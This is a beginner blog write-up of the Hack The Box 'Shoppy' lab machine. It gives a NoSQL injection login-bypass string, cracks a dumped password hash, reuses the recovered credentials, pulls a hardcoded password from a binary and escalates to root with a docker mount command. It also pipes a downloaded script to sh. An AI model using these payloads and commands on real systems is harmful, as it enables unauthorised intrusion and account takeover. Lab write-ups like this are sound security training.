DEV Community

Cover image for Hack The Box Writeup: Shoppy

Posted on • Updated on

Hack The Box Writeup: Shoppy

This is a beginner friendly writeup of Shoppy on Hack The Box. I hope you learn something, because I sure did! Be sure to comment if you have any questions!

Image description

Adding the domain to /etc/hosts

In order to properly resolve our IP to a hostname, we'll need to map it's IP to a hostname using local DNS. This way, we won't need to type the IP address each time we'd like to communicate with the machine. In order to do this, we'll need to use the command sudo vi /etc/hosts, type in our password, and follow the convention within the file (IP address [TAB] domain name) to add it to the file on the next line like so:

Image description

Make sure that your IP matches up with the instance HTB gave you! Don't copy mine!



For speed purposes, I use a very quick nmap scan to grab all of the open ports on the machine (and nothing more). The -p- flag is great for this. Without -p-, I'd only scan for the most common 1000 ports instead of all 65,535 TCP ports. This can be a fatal mistake in the enumeration phase.

Here's the command we'll use:

nmap -p- shoppy.htb

Quick Nmap output

Nmap scan report for shoppy.htb (
Host is up (0.031s latency).
Not shown: 65532 closed tcp ports (conn-refused)
22/tcp   open  ssh
80/tcp   open  http
9093/tcp open  copycat

Nmap done: 1 IP address (1 host up) scanned in 280.71 seconds
Enter fullscreen mode Exit fullscreen mode

Note that these ports are all TCP only! If we wanted to scan UDP we'd use the -sU option.

Now that we have identified the ports available we know that the ports available are 22, 80, and 9093. With this information, we can infer that there's a webserver, and an SSH client running on this machine. However, there's another port that I don't recognize. Let's look into all of them, but keep an eye on our out of place port.

Full nmap

My full nmap scan uses the following options:

nmap -sCV -p 22,80,9093 -o shoppy.nmap shoppy.htb

-sV: Detects service versions
-sC: Runs safe scripts (using the NSE)
-p: Scans selected ports
-o: Outputs in normal format. (With filename "shoppy.nmap")

# Nmap 7.92 scan initiated Wed Dec 14 19:10:22 2022 as: nmap -sCV -p 22,80,9093 -o shoppy.nmap shoppy.htb
Nmap scan report for shoppy.htb (
Host is up (0.093s latency).

22/tcp   open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 9e:5e:83:51:d9:9f:89:ea:47:1a:12:eb:81:f9:22:c0 (RSA)
|   256 58:57:ee:eb:06:50:03:7c:84:63:d7:a3:41:5b:1a:d5 (ECDSA)
|_  256 3e:9d:0a:42:90:44:38:60:b3:b6:2c:e9:bd:9a:67:54 (ED25519)
80/tcp   open  http     n17/12/2022 16:08ginx 1.23.1
|_http-server-header: nginx/1.23.1
|_http-title:             Shoppy Wait Page        
9093/tcp open  copycat?
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest, HTTPOptions: 
|     HTTP/1.0 200 OK
|     Content-Type: text/plain; version=0.0.4; charset=utf-8
|     Date: Thu, 15 Dec 2022 00:10:27 GMT
|     HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
|     TYPE go_gc_cycles_automatic_gc_cycles_total counter
|     go_gc_cycles_automatic_gc_cycles_total 11
|     HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
|     TYPE go_gc_cycles_forced_gc_cycles_total counter
|     go_gc_cycles_forced_gc_cycles_total 0
|     HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
|     TYPE go_gc_cycles_total_gc_cycles_total counter
|     go_gc_cycles_total_gc_cycles_total 11
|     HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
|     TYPE go_gc_duration_seconds summary
|     go_gc_duration_seconds{quantile="0"} 2.8354e-05
|     go_gc_duration_seconds{quantile="0.25"} 9.8767e-05
|_    go_gc_d
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
# Nmap done at Wed Dec 14 19:12:03 2022 -- 1 IP address (1 host up) scanned in 100.75 seconds
Enter fullscreen mode Exit fullscreen mode

Port 9093

9093 is a weird port with an unidentified service. I'll revisit the strings later to see if I can get it to snag something, but for now, I'll interact with the port directly:

└──╼ $nc shoppy.htb 9093
HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
Connection: close

400 Bad Request
Enter fullscreen mode Exit fullscreen mode

Seems to be HTTP based. I can tell it's HTTP based because I notice that the response fit the protocol.

Maybe that's why the protocol was dubbed "copycat". It could be a "copycat service" made to look like HTTP. Since it seems to be HTTP, I'll go ahead and visit it in a browser.

Image description

The browser gives me all of these weird messages. My best guess is that it's written in Go considering it says "Go runtime" at the top of the page.

At the very bottom of the page, there's the following line:

Image description

Version numbers are always good to follow, so I chased the rabbit down the hole and googled the following:

playbooks_plugin_system_playbook_instance_info{Version="1.29.1"} 1
Enter fullscreen mode Exit fullscreen mode

According to a few sites, this application is a plugin written in go made to monitor memory usage.

After a bit, I found that this is made to monitor Go apps.

(References to alloc and numGC are both in the article mentioned above)

I found something else that looks familiar.

Image description

I cross referenced the error with the word "playbook" (because it stood out to me as application specific language), and most of my searches linked back to something called "Mattermost".

Image description

I felt like I was in the right place since the words "playbook" and "channel" matched up.

So what is Mattermost?

Now that I've found what's running, Let's actually take a second to understand what it is.

Image description

Mattermost seems to be an open source software development solution that allows people to collaborate their efforts without having to pay for a service like Jira, confluence, or any other enterprise level tool. Understanding it's intended purpose will help us understand how to triage it's importance and assess possibly weak points later on. We'll also take note that it's open source, as this may allow us to look through the code for clues on exploitation later.

Mattermost Playbooks

According to the docs, playbooks are basically crontabs within the scope of Mattermost. Or in their words: "Build and configure repeatable processes to achieve specific and predictable outcomes."

Image description

Here's more of the documentation

Why did I take note of this? Any time I see code automatically being run without human interaction, at specific time intervals, or when certain conditions are met, I try to take note of what it takes to trigger that code to see if can edit it, or force it to execute outside of it's typical context, I may be able to gain access to information I'm not privy to.

Things like stored procedures, cron jobs, or any conditional arguments linked to time based execution are always interesting things to take note of, and it seems like these playlists can "Build and configure repeatable processes to achieve specific and predictable outcomes."

After finishing the machine, I noticed that this was not the intended path, but I still wonder if there's something I'd be able to leverage here. Maybe I'll do some testing and discover something new.

Port 80

Let's have a look at port 80.

Image description

It's a pretty little countdown timer. Let's check robots.txt.

Image description

Editors note: On my first pass, I dismissed this as nothing but an error. I simply figured that this gave no more information than "this page doesn't exist". After some research, I learned that this page does give me information. I just didn't know what to look for. The "Cannot GET /page" format is actually native to the NodeJS framework. If I had have understood that information earlier, I would have progressed a lot faster on this machine, as this information would soon be crucial to exploitation. If you didn't know this, make sure you keep your eyes peeled for web framework error messages!


After manually fuzzing the pages, I found the /login page.

Image description

Whenever I see a login page (presuming no logging is present), I always try simple default credentials, or common ones like variations of password, admin and other things like that.

Image description

It seems like this is configured with a strong passphrase, so I won't be able to break it that way.


Image description

Hm... How do I exploit this?

NoSQL injection

Since the backend is written in NodeJS, a good assumption that any backend database is written using a NoSQL DB like MongoDB. With this assumption, we can try to learn how to trigger a NoSQL injection vulnerability. Without going too far in the details, the difference between the classic SQL injection and it's NoSQL variant is where we're attacking. Since MongoDB is handled at the application level (since MongoDB and NodeJS couple well together), we're actually attacking the application instead of an independent database. That's a very high level and broad statement, but there's more specific information on the internet.

After many attempts, I finally found an exploit string that worked for me:

username=admin' || 'a'=='a&password=hello

Image description

Image description

I tested this using Burp Suite, but it's also possible to manually exploit via the login page. Without parameterization, it looks like this:

admin' || 'a'=='a
Enter fullscreen mode Exit fullscreen mode


We're now met with the admin interface of the Shoppy app:

Image description

We can click the "search" button.

Image description

Using the exploit string from before, we can see all users in the DB:

Image description

Since our payload dumps the entire database, we receive the username and password hashes of all of the DB users:

Image description

Enter fullscreen mode Exit fullscreen mode

Since we're already logged in as admin, we'll login to Josh to see if there's any new information available to us.

Identifying the hashes

Before we try logging into the "Josh" user, we'll need to identify which algorithm they use in order to crack them. There are many tools to do this (such as hashid, hashcat, and Cyber Chef), but we can also throw them into any online hash cracker to see if it will do the heavy lifting for us.

Image description

6ebcea65320589ca4f2f1ce039975995    md5 remembermethisway
Enter fullscreen mode Exit fullscreen mode

Nice! So we got Josh's password without much hard work. Again, it's important that we understand how to use hashcat, but once we have that basic knowledge, online tools are fairly helpful as well. If you'd like to learn how to use hashcat, you can read my writeup on Previse.

Now that we have the cleartext password, we'll put it in our notes under "found credentials". We'll remember his password this way (Pun intended!)


I'm not sure what to do, but I remember Mattermost being on this machine, so I looked at documentation on how to authenticate, and I found a page that tells me more about authentication.

Basically, if Mattermost is self hosted, it will most likely be held on a domain that looks like the following:

Image description


So I'm going to try looking for vhosting using gobuster. (I'll have to look for virtual hosts given that it's on a *.shoppy.htb scheme site)

gobuster vhost -u -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:     /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
2022/12/17 16:33:50 Starting gobuster in VHOST enumeration mode

2022/12/17 16:34:34 Finished
Enter fullscreen mode Exit fullscreen mode

Gobuster turned out to be a bust, but I took a guess and typed http://mattermost.shoppy.htb/ and I got a response back:

Image description


After adding that to the /etc/hosts file, we get this page:

Image description

Let's try logging in with the credentials we learned earlier:

Image description

Authenticated Mattermost enumeration

Great! Now that we're logged into the environment, we can look around in their messages and learn more about the environment.

Image description

Don't forget to log new usernames/accounts in your notes.

Image description

So far, I see 4 accounts.

We have Josh, Jess, Jager, and System.

Image description

Image description

Hello sysadmin/CEO!

This might be our target later.

Let's poke around look at the business logic before we try to find exploits.

While messing around with the webapp, I found the dark theme! Feel free to change it if it's more comfortable on your eyes ;)


If you're familiar with discord or slack, Mattermost will feel quite familiar to you.

If you aren't, each tab on the left has different "channels" that discuss various subjects. Each of them focus on a single type of conversation.

Image description

Let's check out some of their messages.

Image description

Josh and Jaeger talking about the Admin interface.

There may be a password manager written in C++.

Image description

Jess' cat. This could be a possible password later.

Image description

In a private channel called "Deploy machine", Jaeger tells josh to create an account for him.

I didn't see that account earlier. Maybe Josh hasn't created it yet.

Jaeger might reuse passwords. Let's logout of Josh's account and see if we can become CEO.


Image description

Image description

Neither worked.

I could try to login via SSH.

Image description

Sweet! I knew that password had to be used somewhere else.

Image description

There's our user.txt file.

Linux Privesc Enumeration

After grabbing the user flag, I let's look in the file.

Image description

Running sudo -l gives us:

Image description

Seems like we need to inspect that file, and the ones around it.

Image description

Other than the SUID, this directory is fairly locked down.

This could be path injection. I'm not completely sure, but editing the $PATH variable might allow us to alter the execution flow of this script. I'll take a look at the permissions in this directory and see how the .profile is setup for each user.

Image description


Image description

Since we can't read the source code, let's try running the actual binary to learn more. Because this command needs to be run as another user, we'll have to invoke the binary with the following command:
sudo -u deploy /home/deploy/password-manager

Image description

So I guess we'll need some sort of master password?

Not sure if I'm expected to reverse engineer this, or if I'm supposed to try PATH injection. Since there's no way to know which commands were used to make this, path injection would be a shot in the dark. Maybe reverse engineering this file would give us some insight into how it's built, and we may even discover the master password itself.

Transferring files with NC

Before we're able to reverse engineer the program, we'll need to move the file from the target machine, to ours. I've never demonstrated how to transfer a file in a situation like this, and there many ways.

I'd like to mention that this method of transfer is **completely* unencrypted, and if your goal is to be stealthy while hacking, this is not a secure method for transferring files. Red teaming is an entirely different skill. You have to have tact to be tactical!

On our local machine, we'll run the following command to receive the data on port 4490 and name the file "password-manager".

nc -nvlp 4490 > password-manager (Local machine)

Your output should look like this:

Image description

On your target machine, you'll need the following command to push the file through:

nc -nvq 0 4490 < /home/deploy/password-manager (Remote machine)

Here's what it should look like when you receive a connection:

Image description

I should also note that there is no progress bar with this transfer method, but waiting for a full minute should download the full file. (Checking the size of the file on the remote machine and target should be enough.)

Reverse engineering the file

Now that the file is on our machine, we can poke and prod at the file to figure out how it works, what it does, which libraries it uses and more relevant information. Although reverse engineering is it's own discipline, (which will be covered later) this post will only cover the basics of the skill.

Creating a carbon copy (optional)

In my minimal forensics training, a cardinal rule that I've learned is to always make at least one copy of all artifacts before running tests on them. This prevents any original data from being damaged, destroyed, or otherwise modified. I created a copy with cp password-manager password-manager2, and I'll solely run tests on the copied version.

Running the file command

Running the file command on unidentified binaries can help you identify what it is, how it was created and more.

Image description

It seems to be a standard x64 ELF. Sweet!


The strings command lists human readable strings inside the binary. This may give us information about how it was built, strings inside and possibly other valuable information that we can use to crack the program.

Image description

Interesting... So we know that it will cat the file.

Maybe if we modify the cat binary, we can use path injection to take advantage of this program.


While PATH injection could be our path, let's try reverse engineering the code itself.

Ghidra gives a listing of instructions along with the strings that we saw earlier.

Image description

You'll notice that we can simply scroll down and find the password hardcoded in the file:

Image description

Image description

Now, we see the "access granted" string like earlier!

Image description

We can even see the execution flow of what happens after access is granted.

Image description

We also could have visited the function and viewed the password in the decompiler:

Image description

Let's go back to the copy and verify the password.

Image description

It works! Let's do it for real this time on the target machine!

Image description

After running the command earlier, we have the password to the "deploy" account! You can log on to the account via the su command, ssh into the account from the local machine, or you can exit your current shell, and log in to the deploy account manually.

Image description

We're in. Now that we're on the other side, we can verify how the app was made.

Image description

The source code looks very similar to the decompiled version that we saw in Ghidra. Reverse engineering can be extremely powerful.

Shell upgrade for deploy account

Before we move on, we do have a slight problem. We have a dumb shell.

What's a dumb shell? It's a shell that we can't we can't do much with. It's a shell that we can't use modern features like tab autocomplete, arrow keys, screen clearing, and automatic resizing.

You'll know you're in a dumb shell when you see that there's a minimal prompt, and pressing arrow keys will give weird output.

Image description

While there are multiple ways to upgrade your shell, if there's a python install on the machine, you can use the following command to upgrade your shell:

python -c 'import pty; pty.spawn("/bin/bash")'
Enter fullscreen mode Exit fullscreen mode

Let's run the command and see what happens:

Image description

It seems that we don't have python on the machine. Let's try searching the machine for python and related binaries:

Image description

I considered creating a new shell with nc, but I decided to exit it all together and SSH into the machine. Technically, there were still ways to upgrade the shell, but I decided to make it easier on myself and SSH into the machine to have a copacetic experience.

If you're ever on a red team assessment, this technique may not work! Sometimes you don't have the password for every user you log into, and in enterprise environments, SSH login events are recorded and logged.

Image description

I thought logging into the account directly would give me a proper shell, but eventually I decided to just run bash for the upgrade.

Deploy Enumeration

Every time we log into a new account, we always need to enumerate.

Image description

No SUID binaries or crontab for this user.

Image description

While there are Linux privesc tools, I wanted to manually explore a bit before running them.

I found out two things:

1) This is the account that controls Mattermost
2) Containerd is on this machine.

Since Docker was mentioned earlier, I tried to see if anything was running.

Image description

Nothing was running.


I don't know what else to do, so I'm going to run linpeas. You can either transfer the file like earlier using nc, transfer it with a simple python webserver, or you can grab it directly from github with curl.

Since we don't care about stealth, we can just run this:

# From github
curl -L | sh
Enter fullscreen mode Exit fullscreen mode

If you'd like to use python (like I did), it will look something like this:

Client machine:

Image description

Target machine:

Image description

Linpeas has a lot of information in it (which means a lot of scrolling!), so I prefer to run it and send it to an output file to retrieve and parse through at my leisure. In order to do this, I used the > redirect operator to write to a file called output.txt:

bash > output.txt

Let's less the file:

Image description

That output was very ugly, so I decided to go with bash -Nq > output2.txt instead to remove color and banners.

Image description

Much better.

*I completed this box a while ago, and since then I've read the linpeas documentation and learned that I could have used less -r output.txt for the first file, and it would have displayed with color. Again, if you see something like the first picture, just use less -r!

After reading all of the linpeas output extensively and researching attack vectors, I decided to ask someone for help. I only mention this because I want to make sure that I remain honest about every single line of code I write, and I take that very seriously. It's alright to ask for help when you're stuck. No one is a master at everything instantly.

The hint I was given was "Did you see in which group deploy user is in?" The path was in the GID all along. Nothing super complicated, nothing extremely advanced. I just had to go back to the basics.

The group

We can find the group id by using the id command:

Image description

deploy@shoppy:~$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)
Enter fullscreen mode Exit fullscreen mode

The GID shows that we're a part of the docker group.

Let's search for files with our GID.

Image description

you can specify either with the -gid or -group options.. example:
$ find / -name filename -gid 101
or with the group name like:
$ fine / -name filename -group users
man find for more info....

find / -name filename -gid 998

Image description

That's way too many "permission denied" messages. Let's see if we can filter that out with grep

find / -name filename -gid 998 2>&1 | grep -v "Permission denied"

find / -name filename -gid 1001 2>&1 | grep -v "Permission denied"

Image description

That was a bust. Let's try a different approach. Since we're in the docker group, this means that we can run the actual docker binary. Maybe we should look to see if there are any ways to escalate to root using that program.

After a bit of research, I found that one of my favorite sites had an entry for the docker binary. GTFOBins is an amazing website to use when standard binaries have elevated privileges like SUID, SGID, or something similar. This site is a quick way to see if there are ways to break out of a restricted shell.

With out further ado, let's GTFO of docker!

To achieve a root shell, all we have to do is run the following command:

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Before we run it, let's see what it actually does:

  • -v Defines the volume to mount to. This allows us to share filesystems between the container and the host machine. When using docker operationally, I use docker's volume feature to ensure that my data persists between each deployment.

    From the dockumentation itself:

    -v or --volume: Consists of three fields, separated by colon characters (:). The fields must be in the correct order, and the meaning of each field is not immediately obvious.

    • In the case of named volumes, the first field is the name of the volume, and is unique on a given host machine. For anonymous volumes, the first field is omitted.
    • The second field is the path where the file or directory are mounted in the container.
    • The third field is optional, and is a comma-separated list of options, such as ro.
  • --rm simply removes a container.

  • -i or --interactive is for keeping STDIN open, even if the container isn't attached.

  • -t or --tty allocates a psuedo TTY that allows us to interact with the container like a normal shell.

  • alpine is the base Linux image used in many containers. This image is just to hold the shell. It has most basic functions and features of a standard Unix machine.

  • chroot is the actual command we're using to set the /mnt directory as our new root.

  • sh simply allows us to use /bin/sh as our interpreter for our shell

Image description

It worked! I'm so glad I wasn't afraid to ask for help. Thank you so much ARZ101!

Top comments (0)